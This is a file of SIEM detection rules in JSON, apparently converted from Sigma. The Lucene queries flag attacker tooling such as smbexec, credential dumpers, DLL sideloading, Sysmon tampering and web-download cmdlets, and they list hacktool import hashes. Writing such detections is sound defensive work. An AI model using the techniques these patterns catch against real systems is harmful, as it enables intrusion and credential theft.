{"description": "Detects the use of smbexec.py tool by detecting a specific service installation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "63b9ff52-12b0-2e60-748a-70b241cfe5e7", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "smbexec.py Service Installation", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:\"BTOBTO\" AND winlog.event_data.ImagePath:*\\\\execute.bat)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Omer Faruk Celik"], "license": ""}
{"description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", "enabled": false, "false_positives": ["Legitimate usage of stordiag.exe."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "07d90add-6504-861b-896b-ccaa537b050d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via stordiag.exe", "query": "((process.parent.executable:*\\\\stordiag.exe AND process.executable:(*\\\\schtasks.exe OR *\\\\systeminfo.exe OR *\\\\fltmc.exe)) AND (NOT (process.parent.executable:(c\\:\\\\windows\\\\system32\\\\* OR c\\:\\\\windows\\\\syswow64\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer (@austinsonger)"], "license": ""}
{"description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e2e127d9-ae0c-dbae-b82c-7398d46b606d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SysmonEnte Usage", "query": "(((winlog.event_data.TargetImage:\"C\\:\\\\Windows\\\\Sysmon64.exe\" AND winlog.event_data.GrantedAccess:\"0x1400\") AND (NOT ((process.executable.text:(C\\:\\\\Program\\ Files* OR C\\:\\\\Windows\\\\System32\\\\*)) OR (process.executable.text:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND process.executable.text:*\\\\MsMpEng.exe)))) OR winlog.event_data.CallTrace:\"Ente\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bb4d26f8-29da-d2ea-a56e-2dcb4d363099", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DInject PowerShell Cradle CommandLine Flags", "query": "(process.command_line:(*\\ \\/am51* OR *\\ \\/password*) AND (NOT ((process.command_line:*\\ \\/PASSWORDCHG* OR process.parent.executable:(\"C\\:\\\\Program\\ Files\\\\CEETIS\\\\CEETIS_IDE.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\CEETIS\\\\CEETIS_IDE.exe\")))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8d35ab48-44de-d001-1212-1102f2b36403", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DumpStack.log Defender Evasion", "query": "(process.executable:*\\\\DumpStack.log OR process.command_line:*\\ \\-o\\ DumpStack.log*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", "enabled": false, "false_positives": ["Legitimate usage of the script by a developer"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fe6bf90a-8a9a-4e8b-c08f-c2e8b0a12502", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Launch-VsDevShell.PS1 Proxy Execution", "query": "(process.command_line.text:*Launch\\-VsDevShell.ps1* AND process.command_line.text:(*VsWherePath\\ * OR *VsInstallationPath\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the use of the lesser known remote execution tool named CsExec (a PsExec alternative)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9de238a3-1f8a-dbff-291c-96fa0295d9ee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CsExec Remote Execution Tool Usage", "query": "(process.executable.text:*\\\\csexec.exe OR winlog.event_data.Description:\"csexec\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569", "T1587"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that doesnt exist. This non-existent DLL file is named \"ShellChromeAPI.dll\". \nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "efeeaa6f-cdfc-1fd2-8d83-052a749dc065", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DLL Sideloading via DeviceEnroller.exe", "query": "(process.executable.text:*\\\\deviceenroller.exe AND process.command_line.text:*\\/PhoneDeepLink*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@gott_cyber"], "license": ""}
{"description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", "enabled": false, "false_positives": ["Domain Controllers acting as printer servers too? :)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e1b1d0b6-d3a3-037e-43c5-ddd1663f7779", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DCERPC SMB Spoolss Named Pipe", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\\\\\*\\\\IPC$ AND winlog.event_data.RelativeTargetName:\"spoolss\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["OTR (Open Threat Research)"], "license": ""}
{"description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", "enabled": false, "false_positives": ["Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "a1e6c5dc-8938-53de-93f1-fa8b3e652edb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SMB Spoolss Name Piped Usage", "query": "(event.dataset:\"smb_files\" AND file.path:*IPC$ AND file.name.text:\"spoolss\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["OTR (Open Threat Research)", "@neu5ron"], "license": ""}
{"description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "enabled": false, "false_positives": ["Legitimate use of wuauclt.exe over the network."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e08bb5c3-3742-dbce-70c2-6f70be4da5b4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Wuauclt Network Connection", "query": "(process.executable.text:*wuauclt* AND (NOT (((destination.ip:51.10*)) OR ((process.command_line.text:*\\\\UpdateDeploy.dll\\ \\/ClassId\\ *)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "068aa8e7-4d7a-ff98-f0e6-d7be82034b7f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Proxy Execution via Wuauclt", "query": "(((process.executable.text:*wuauclt* OR winlog.event_data.OriginalFileName:\"wuauclt.exe\") AND (process.command_line.text:*UpdateDeploymentProvider* AND process.command_line.text:*.dll* AND process.command_line.text:*RunHandlerComServer*)) AND (NOT (process.command_line.text:(*\\ \\/UpdateDeploymentProvider\\ UpdateDeploymentProvider.dll\\ * OR *\\ wuaueng.dll\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "Florian Roth", "Sreeman", "FPT.EagleEye Team"], "license": ""}
{"description": "Detects the use of tools created by a well-known hacktool producer named Cube0x0, which includes his handle in all binaries as company information in the PE headers (SharpPrintNightmare, KrbRelay, SharpMapExec etc.)", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc1e3011-3b9a-f4e8-fa48-e8323f2ee68b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hacktool by Cube0x0", "query": "Company:\"Cube0x0\"", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of tools that copy files from or to remote systems", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fa1b963d-cfa2-a6db-c454-ce558aeb0225", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Remote File Copy", "query": "((*scp\\ * OR *rsync\\ * OR *sftp\\ *) AND (*@* OR *\\:*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal"], "license": ""}
{"description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "99e67e25-249c-e951-7a8f-f6c924400f64", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Tor Client or Tor Browser Use", "query": "process.executable:(*\\\\tor.exe OR *\\\\Tor\\ Browser\\\\Browser\\\\firefox.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs", "author": ["James Pemberton / @4A616D6573"], "enabled": false, "false_positives": ["Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "62b2a746-e79a-50f8-f831-c5a4572083b6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Usage Of Web Request Commands And Cmdlets - ScriptBlock", "query": "(powershell.file.script_block_text:(*Invoke\\-WebRequest* OR *iwr\\ * OR *wget\\ * OR *curl\\ * OR *Net.WebClient* OR *Start\\-BitsTransfer* OR *Resume\\-BitsTransfer* OR *\\[System.Net.WebRequest\\]\\:\\:create* OR *Invoke\\-RestMethod* OR *WinHttp.WinHttpRequest*) AND (NOT winlog.event_data.Path:C\\:\\\\Packages\\\\Plugins\\\\Microsoft.GuestConfiguration.ConfigurationforWindows\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) viq CommandLine", "author": ["James Pemberton / @4A616D6573", "Endgame", "JHasenbusch", "oscd.community", "Austin Songer @austinsonger"], "enabled": false, "false_positives": ["Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "502fe814-758f-addf-a267-175324037a2f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Usage Of Web Request Commands And Cmdlets", "query": "process.command_line.text:(*Invoke\\-WebRequest* OR *iwr\\ * OR *wget\\ * OR *curl\\ * OR *Net.WebClient* OR *Start\\-BitsTransfer* OR *Resume\\-BitsTransfer* OR *\\[System.Net.WebRequest\\]\\:\\:create* OR *Invoke\\-RestMethod* OR *WinHttp.WinHttpRequest*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the use of various web request methods (including aliases) via Windows PowerShell command", "enabled": false, "false_positives": ["Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "791fc5f7-3090-4e13-dc1b-f74935df9325", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows PowerShell Web Request", "query": "(powershell.file.script_block_text:(*Invoke\\-WebRequest* OR *iwr\\ * OR *wget\\ * OR *curl\\ * OR *Net.WebClient* OR *Start\\-BitsTransfer*) AND (NOT (winlog.event_data.Path:C\\:\\\\Packages\\\\Plugins\\\\Microsoft.GuestConfiguration.ConfigurationforWindows\\\\*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["James Pemberton / @4A616D6573"], "license": ""}
{"description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fb93acb8-a238-b1c8-e966-3e948f23b0bf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows PowerShell Upload Web Request", "query": "(powershell.file.script_block_text:(*Invoke\\-WebRequest* OR *iwr\\ *) AND powershell.file.script_block_text:*\\-Method\\ * AND powershell.file.script_block_text:(*\\ Put\\ * OR *\\ Post\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1020"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1020", "name": "Automated Exfiltration", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the use of various web request with commandline tools or Windows PowerShell command,methods (including aliases)", "enabled": false, "false_positives": ["Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c2d6072b-ecd2-0652-ef73-2494d8c59bcb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Suspicious Use Of Web Request in CommandLine", "query": "process.command_line.text:(*Invoke\\-WebRequest* OR *iwr\\ * OR *wget\\ * OR *curl\\ * OR *Net.WebClient* OR *Start\\-BitsTransfer*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["James Pemberton / @4A616D6573"], "license": ""}
{"description": "Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b4b01500-5395-b121-0375-b9285ac1c38a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential WinAPI Calls Via CommandLine", "query": "(process.command_line.text:(*AddSecurityPackage* OR *AdjustTokenPrivileges* OR *Advapi32* OR *CloseHandle* OR *CreateProcessWithToken* OR *CreatePseudoConsole* OR *CreateRemoteThread* OR *CreateThread* OR *CreateUserThread* OR *DangerousGetHandle* OR *DuplicateTokenEx* OR *EnumerateSecurityPackages* OR *FreeHGlobal* OR *FreeLibrary* OR *GetDelegateForFunctionPointer* OR *GetLogonSessionData* OR *GetModuleHandle* OR *GetProcAddress* OR *GetProcessHandle* OR *GetTokenInformation* OR *ImpersonateLoggedOnUser* OR *kernel32* OR *LoadLibrary* OR *memcpy* OR *MiniDumpWriteDump* OR *ntdll* OR *OpenDesktop* OR *OpenProcess* OR *OpenProcessToken* OR *OpenThreadToken* OR *OpenWindowStation* OR *PtrToString* OR *QueueUserApc* OR *ReadProcessMemory* OR *RevertToSelf* OR *RtlCreateUserThread* OR *secur32* OR *SetThreadToken* OR *VirtualAlloc* OR *VirtualFree* OR *VirtualProtect* OR *WaitForSingleObject* OR *WriteInt32* OR *WriteProcessMemory* OR *ZeroFreeGlobalAllocUnicode*) AND (NOT (process.executable.text:*\\\\MpCmdRun.exe AND process.command_line.text:*GetLoadLibraryWAddress32*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1106"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the use of Windows Credential Editor (WCE)", "enabled": false, "false_positives": ["Another service that uses a single -s command line switch"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c447e801-1e9a-5bbd-b6b3-c559c7666fce", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Windows Credential Editor", "query": "(((winlog.event_data.Imphash:(\"a53a02b997935fd8eedcb5f7abab9b9f\" OR \"e96a73c7bf33a464c510ede582318bf2\") OR winlog.event_data.Hashes:(*IMPHASH\\=a53a02b997935fd8eedcb5f7abab9b9f* OR *IMPHASH\\=e96a73c7bf33a464c510ede582318bf2*)) OR (process.command_line:*.exe\\ \\-S AND process.parent.executable:*\\\\services.exe)) AND (NOT (process.executable:*\\\\clussvc.exe)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Windows Credential Editor (WCE)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f2c5df73-e878-0cfa-e6ad-b2562450461f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Windows Credential Editor Registry", "query": "winlog.event_data.TargetObject:*Services\\\\WCESERVICE\\\\Start*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Windows hacktools based on their import hash (imphash) even if the files have been renamed", "enabled": false, "false_positives": ["Legitimate use of one of these tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "473e0282-ffd1-2214-60b3-78380750dbf4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Hacktool Imphash", "query": "(winlog.event_data.Imphash:(\"bcca3c247b619dcd13c8cdff5f123932\" OR \"3a19059bd7688cb88e70005f18efc439\" OR \"bf6223a49e45d99094406777eb6004ba\" OR \"0c106686a31bfe2ba931ae1cf6e9dbc6\" OR \"0d1447d4b3259b3c2a1d4cfb7ece13c3\" OR \"1b0369a1e06271833f78ffa70ffb4eaf\" OR \"4c1b52a19748428e51b14c278d0f58e3\" OR \"4d927a711f77d62cebd4f322cb57ec6f\" OR \"66ee036df5fc1004d9ed5e9a94a1086a\" OR \"672b13f4a0b6f27d29065123fe882dfc\" OR \"6bbd59cea665c4afcc2814c1327ec91f\" OR \"725bb81dc24214f6ecacc0cfb36ad30d\" OR \"9528a0e91e28fbb88ad433feabca2456\" OR \"9da6d5d77be11712527dcab86df449a3\" OR \"a6e01bc1ab89f8d91d9eab72032aae88\" OR \"b24c5eddaea4fe50c6a96a2a133521e4\" OR \"d21bbc50dcc169d7b4d0f01962793154\" OR \"fcc251cceae90d22c392215cc9a2d5d6\" OR \"23867a89c2b8fc733be6cf5ef902f2d1\" OR \"a37ff327f8d48e8a4d2f757e1b6e70bc\" OR \"6118619783fc175bc7ebecff0769b46e\" OR \"959a83047e80ab68b368fdb3f4c6e4ea\" OR \"563233bfa169acc7892451f71ad5850a\" OR \"87575cb7a0e0700eb37f2e3668671a08\" OR \"13f08707f759af6003837a150a371ba1\" OR \"1781f06048a7e58b323f0b9259be798b\" OR \"233f85f2d4bc9d6521a6caae11a1e7f5\" OR \"24af2584cbf4d60bbe5c6d1b31b3be6d\" OR \"632969ddf6dbf4e0f53424b75e4b91f2\" OR \"713c29b396b907ed71a72482759ed757\" OR \"749a7bb1f0b4c4455949c0b2bf7f9e9f\" OR \"8628b2608957a6b0c6330ac3de28ce2e\" OR \"8b114550386e31895dfab371e741123d\" OR \"94cb940a1a6b65bed4d5a8f849ce9793\" OR \"9d68781980370e00e0bd939ee5e6c141\" OR \"b18a1401ff8f444056d29450fbc0a6ce\" OR \"cb567f9498452721d77a451374955f5f\" OR \"730073214094cd328547bf1f72289752\" OR \"17b461a082950fc6332228572138b80c\" OR \"dc25ee78e2ef4d36faa0badf1e7461c9\" OR \"819b19d53ca6736448f9325a85736792\" OR \"829da329ce140d873b4a8bde2cbfaa7e\" OR \"c547f2e66061a8dffb6f5a3ff63c0a74\" OR \"0588081ab0e63ba785938467e1b10cca\" OR \"0d9ec08bac6c07d9987dfd0f1506587c\" OR \"bc129092b71c89b4d4c8cdf8ea590b29\" OR \"4da924cf622d039d58bce71cdf05d242\" OR \"e7a3a5c377e2d29324093377d7db1c66\" OR \"9a9dbec5c62f0380b4fa5fd31deffedf\" OR \"af8a3976ad71e5d5fdfb67ddb8dadfce\" OR \"0c477898bbf137bbd6f2a54e3b805ff4\" OR \"0ca9f02b537bcea20d4ea5eb1a9fe338\" OR \"3ab3655e5a14d4eefc547f4781bf7f9e\" OR \"e6f9d5152da699934b30daab206471f6\" OR \"3ad59991ccf1d67339b319b15a41b35d\" OR \"ffdd59e0318b85a3e480874d9796d872\" OR \"0cf479628d7cc1ea25ec7998a92f5051\" OR \"07a2d4dcbd6cb2c6a45e6b101f0b6d51\" OR \"d6d0f80386e1380d05cb78e871bc72b1\" OR \"38d9e015591bbfd4929e0d0f47fa0055\" OR \"0e2216679ca6e1094d63322e3412d650\" OR \"ada161bf41b8e5e9132858cb54cab5fb\" OR \"2a1bc4913cd5ecb0434df07cb675b798\" OR \"11083e75553baae21dc89ce8f9a195e4\" OR \"a23d29c9e566f2fa8ffbb79267f5df80\" OR \"4a07f944a83e8a7c2525efa35dd30e2f\" OR \"767637c23bb42cd5d7397cf58b0be688\" OR \"14c4e4c72ba075e9069ee67f39188ad8\" OR \"3c782813d4afce07bbfc5a9772acdbdc\" OR \"7d010c6bb6a3726f327f7e239166d127\" OR \"89159ba4dd04e4ce5559f132a9964eb3\" OR \"6f33f4a5fc42b8cec7314947bd13f30f\" OR \"5834ed4291bdeb928270428ebbaf7604\" OR \"5a8a8a43f25485e7ee1b201edcbc7a38\" OR \"dc7d30b90b2d8abf664fbed2b1b59894\" OR \"41923ea1f824fe63ea5beb84db7a3e74\" OR \"3de09703c8e79ed2ca3f01074719906b\" OR \"a53a02b997935fd8eedcb5f7abab9b9f\" OR \"e96a73c7bf33a464c510ede582318bf2\" OR \"32089b8851bbf8bc2d014e9f37288c83\" OR \"09D278F9DE118EF09163C6140255C690\" OR \"03866661686829d806989e2fc5a72606\" OR \"e57401fbdadcd4571ff385ab82bd5d6d\" OR \"84B763C45C0E4A3E7CA5548C710DB4EE\" OR \"19584675d94829987952432e018d5056\" OR \"330768a4f172e10acb6287b87289d83b\") OR winlog.event_data.Hashes:(*IMPHASH\\=BCCA3C247B619DCD13C8CDFF5F123932* OR *IMPHASH\\=3A19059BD7688CB88E70005F18EFC439* OR *IMPHASH\\=bf6223a49e45d99094406777eb6004ba* OR *IMPHASH\\=0C106686A31BFE2BA931AE1CF6E9DBC6* OR *IMPHASH\\=0D1447D4B3259B3C2A1D4CFB7ECE13C3* OR 